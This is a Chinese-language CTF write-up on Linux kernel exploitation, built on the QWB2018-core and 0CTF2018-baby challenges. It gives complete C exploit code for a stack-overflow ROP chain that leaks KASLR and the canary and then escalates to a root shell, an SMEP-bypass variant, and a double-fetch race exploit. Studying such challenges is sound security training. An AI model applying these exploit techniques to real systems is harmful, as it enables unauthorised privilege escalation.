初探内核(二)

发布时间 2023-03-22 21:09:33作者: 闲时喝喝茶

kernel rop

以 QWB2018-core 为例

多了 vmlinux ,该文件可以用来寻找 gadget 进行 rop

vmlinux(“vm”代表的“virtual memory”)是一个包括linux kernel的静态链接的可运行文件,编译内核源码得到的最原始的内核文件,未压缩,比较大,是 EF 格式的文件。

先修改 start.sh 中的运行内存为 256m ,不然跑不起来,并且开启了 kaslr ,即内核地址随机化

接下来解压 cpio 文件,然后查看 init

可以看到

cat /proc/kallsyms > /tmp/kallsyms

/proc/kallsyms 是内核提供的一个符号表,包含了动态加载的内核模块的符号,kallsyms 抽取了内核用到的所有函数地址和非栈数据变量地址,生成了一个数据块,作为只读数据链接进 kernel image,使用root权限可以 /proc/kallsyms 查看。

虽然开启了 kalsr,我们在 非 root 权限下也是可以读 /tmp/kallsyms 文件,那么我们就可以得到 kernel_base 了

接下来对 core.ko 进行分析

开启了 Canary 和 NX

接着放入 IDA

init

exit

感觉这两个函数的调用都挺固定的

主要是 core_ioctl 函数

其中 a2 = 0x6677889B 时候调用 core_read 函数

实现了把 v5[off] 从内核空间传输到用户空间 0x40 字节的功能,对 off 没有限制,当 off = 0x40 时候,会将 canary 传输到用户空间,从而泄露出来。

其中 a2 = 0x6677889C 时候对全局变量 off 进行赋值

其中 a2 = 0x6677889D 时候,调用 core_copy_func 函数

鼠标放到 63 时候会发现 a1 的数据类型的 __int64 ,63 的类型是 int ,而且台哦用 qmemcpy 函数将数据从 name 复制 a1 字节到 v2 也就是栈上的时候, a1 也是 unsigned __int16 类型,这样我们就可以实现一个栈溢出漏洞。

再看 ocre_write 函数

可以从用户空间传输 0x800 字节到 内核空间,足够我们写入 rop 了。

接下来要弄清楚内核的 rop 应该要怎么写,我们的目的是为了提权,那么我们需要用到

prepare_kernel_cred 使用指定进程的 real_cred 去构造一个新的 cred 当参数为 0 的时候,会创建一个 root 权限的 cred commit_creds 可以修改当前进程的 cred

当我们调用 prepare_kernel_cred(0) 和 commit_creds() 的时候,就可以修改当前进程的 cred ,从而提权成功了。

要顺利 rop,我们还需要先泄露 kernel_base 和 canary 。

查看 /tmp/kallsyms 可以看到 startup_64 就是 kernel_base

这里我们在 exp.c 中打开该文件,然后循环读每一行,匹配 startup_64 是否子串,如果是将前十六个字节放入另一个字符型变量中,并用 %lx 转换为十六进制数值存放到 kernel_base 中。

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
long kernel_base = 0;
void leak_kernel_base(){
    FILE * fd = fopen("/tmp/kallsyms", "r");
    char buf[40];
    while(fgets(buf, 40, fd)){
        if(strstr(buf, "startup_64")){
            char hem[20];
            strncpy(hem, buf, 16);
            sscanf(hem, "%lx", &kernel_base);
            printf(" kernel_base -> %lx\n", kernel_base);
        break;
        }
    }
}

int main(){
    leak_kernel_base();
}

然后是泄露 canary,先设置 off = 0x40,然后将 canary 传输到用户空间的变量中,就完成了泄露

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
long kernel_base = 0;
long canary[8];
void leak_kernel_base(){
    FILE * fd = fopen("/tmp/kallsyms", "r");
    char buf[40];
    while(fgets(buf, 40, fd)){
        if(strstr(buf, "startup_64")){
            char hem[20];
            strncpy(hem, buf, 16);
            sscanf(hem, "%lx", &kernel_base);
            printf(" kernel_base -> 0x%lx\n", kernel_base);
        break;
        }
    }
}

int main(){
    leak_kernel_base();
    // leak canary
    int fd = open("/proc/core", 2);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, canary);
    printf(" canary -> 0x%lx\n", canary[0]);
}

效果

接下来就可以进行 rop 了,我们要调用 prepare_kernel_cred(0) 和 commit_creds() 这两个函数,需要先找到这两个函数的偏移。

可以利用 pwntools 模块进行寻找

kenel_base 填入 checksec 检查的 NO PIE 后面的值。

这样我们就找到两个函数的偏移了,我们也就能通过 rop 调用这两个函数了

接下来要解决的是另一个问题,由于我们的栈溢出是在内核态进行的,我们需要执行完栈溢出后返回用户态。

利用

ropper -f ./vmlinux > gadget.txt

来搜索 gadget ,主要是找到这两个

swapgs 用来修改用户态和内核态的gs寄存器

iretq 用来恢复用户态执行上下文

popfq 会进行弹栈,将其放入标志寄存器中

这样就准备充分了,可以开始编写 exp 的栈溢出提权攻击部分。

编写 exp 前先了解 SMEP&SMAP 保护,SMEP 保护可以禁止内核运行用户空间代码,SMAP 保护可以禁止访问用户空间数据。

这道题目两个保护是都没有开启的,所有我们可以直接在 exp 中利用 asm 编写提权代码,然后在内核中栈溢出执行。

void get_root(){
    __asm__(
        "mov rdi, 0;"
        "mov rax, kernel_base;"
        "add rax, 0x9cce0;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, kernel_base;"
        "add rax, 0x9c8e0;"
        "call rax;"
            );
}
void backdoor(){
    system("/bin/sh");
}

在 exp.c 中添加上面两个自定义函数

在存在栈溢出漏洞的这个函数中

可以知道 v2 距离 rbp 为 0x50,距离 canary 为 0x40,因此我们在申请一个 long 类型的数组,一个数组元素占八个字节,因此在 [8] 中存放 canary,在 [10] 存在 get_root 函数的地址。

接着还需要了解从内核态返回用户态的时候,即利用 rop 执行 swapgs 然后执行 iretq 后,会利用 iretq 指令后面的栈数据来重置部分寄存器的值。

iretq
rip
cs
flag
rsp
s

因此我们要先保存好这些寄存器的值,好在返回用户态的时候不出差错,利用在用户空间中编写的自定义函数即可实现

long user_cs, user_ss, user_rsp, user_flag;
void save_status(){
    __asm__(
        "mov user_cs, cs;"      
        "mov user_ss, ss;"      
        "mov user_rsp, rsp;"    
        "pushf;"
        "pop user_flag;" 
            );
}

然后是编写栈溢出的攻击数据,定义一个 long 类型的数组,在其中赋值。

最终 exp

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
long kernel_base = 0;
long canary[8];
void leak_kernel_base(){
    FILE * fd = fopen("/tmp/kallsyms", "r");
    char buf[40];
    while(fgets(buf, 40, fd)){
        if(strstr(buf, "startup_64")){
            char hem[20];
            strncpy(hem, buf, 16);
            sscanf(hem, "%lx", &kernel_base);
            printf(" kernel_base -> 0x%lx\n", kernel_base);
        break;
        }
    }
}
void get_root(){
    __asm__(
        "mov rdi, 0;"
        "mov rax, kernel_base;"
        "add rax, 0x9cce0;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, kernel_base;"
        "add rax, 0x9c8e0;"
        "call rax;"
            );
}
void backdoor(){
    system("/bin/sh");
}
long user_cs, user_ss, user_rsp, user_flag;
void save_status(){
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_flag;"        
            );
}
int main(){
    leak_kernel_base();
    //Leak canary
    int fd = open("/proc/core", 2);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, canary);
    printf(" canary -> 0x%lx\n", canary[0]);
    // save_status
    save_status();
    // stack oevrflow
    long ROP[20];
    ROP[8] = canary[0];
    ROP[10] = (long)get_root;
    ROP[11] = kernel_base + 0xa012da; // swapgs
    ROP[13] = kernel_base + 0x50ac2; // iretq
    ROP[14] = (long)backdoor;
    ROP[15] = user_cs;
    ROP[16] = user_flag;
    ROP[17] = user_rsp;
    ROP[18] = user_ss;
    write(fd, ROP, sizeof(ROP));
    puts("[+]success!");
    ioctl(fd, 0x6677889A, 0xffffffff00000000 + sizeof(ROP));
}

最后编译的时候要注意

gcc exp.c -static -o exp -masm=intel

攻击效果

为了加深理解,我们动调调试看看

将断点打到 core_copy_func 这里,然后 s 步进

可以看到此时的 rsi 指向了 name, rdi 指向了内核中拿到栈,利用 rep_movsb 指令从 name 复制数据到 内核的栈中,重复 0xa0 次(见 rcx 寄存器)

name 放着我们写好的 rop 链

步进到 ret 指令

可以看到将要执行我们在用户空间中编写 get_root 函数

然后是两个返回用户态的指令 swapgs 和 iretq

接着执行 backdoor 函数,最后提权成功

如果开启了 smep 保护呢,不能够直接执行用户态代码,我们接下来参试这种做法

在 start.sh 添加这一行 -cpu kvm64,+smep \ ,并且由于 smep 保护开启后会自动启动 KTPI ,要关闭掉 KTPI,在 -append 参数中添加 nopti

qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw nopti console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu kvm64,+smep \

在这种情况下,由于在内核态中只有执行了用户态的 get_root 函数,因此我们修改下 get_root 函数即可。

例如

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    /* puts("[*] root now."); */
}

kernle double fetch

以 0CTF2018-baby 为例

可以看到启动脚本 cores =2 ,那么就可以用多线程

在 init 中发现 模块文件是 baby.ko ,挂载设备名是 /dev/baby

接下来是分析驱动模块

接着放入 IDA 分析

唯一有用的是这个函数

当命令为 0x6666 的时候,会将内核空间中的 flag 地址打印出来

当命令为 0x1337 的时候,会检测传入的结构体指针是否是用户态地址,其结构体包含的 flag,addr 指针是否存在用户态中,flag.len 是否与内核中 flag 长度相等

那么就是多线程竞争了,绕过 if 后用其它线程修改结构体中 flag.addr ,那么就能打印出内核中的 flag 了

不过要注意一点,在内核中的数据不会直接打印在屏幕中,需要用 dmesg 命令查看。

虽然这题知道原理,算是比较简单,但是 exp 就不会编写了,只能看下 wp 是怎么写的

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
#include <pthread.h>
long kernel_flag;
void leak_flag(int fd){
    ioctl(fd, 0x6666, 1);
    system("dmesg | tail > 1.txt");
    FILE * fd1 = fopen("1.txt", "r");
    char buf[70];
    char hex[20];
    while(fgets(buf, 65, fd1)){
        if(strstr(buf, "Your flag is at")){
            strncpy(hex, buf + 31, 16);
            sscanf(hex, "%lx", &kernel_flag);
            printf(" flag -> %lx\n", kernel_flag);
            break;
        }
    }
    fclose(fd1);
}
struct flag_struct{
    long addr;
    long len;
};
char fake_flag[] = "fake";
int finish = 0;
void change_flag(struct flag_struct *s){
    while(!finish){
        s -> addr = kernel_flag;
    }
}
int main(){
    int fd = open("/dev/baby", 2);
    leak_flag(fd);
    struct flag_struct flag;
    flag.addr = (long)fake_flag;
    flag.len = 33;
    pthread_t p1;
    pthread_create(&p1, NULL, change_flag, &flag);
    for(int i = 0; i <= 10000; i++){
        ioctl(fd, 0x1337, &flag);
        flag.addr = (long)fake_flag;
    }
    finish = 1;
    system("dmesg | grep flag");
    close(fd);
}

编译时候需要加入 pthread.h 文件头,命令需要加 -lpthread 参数

gcc exp.c -static -o exp -lpthread 

攻击效果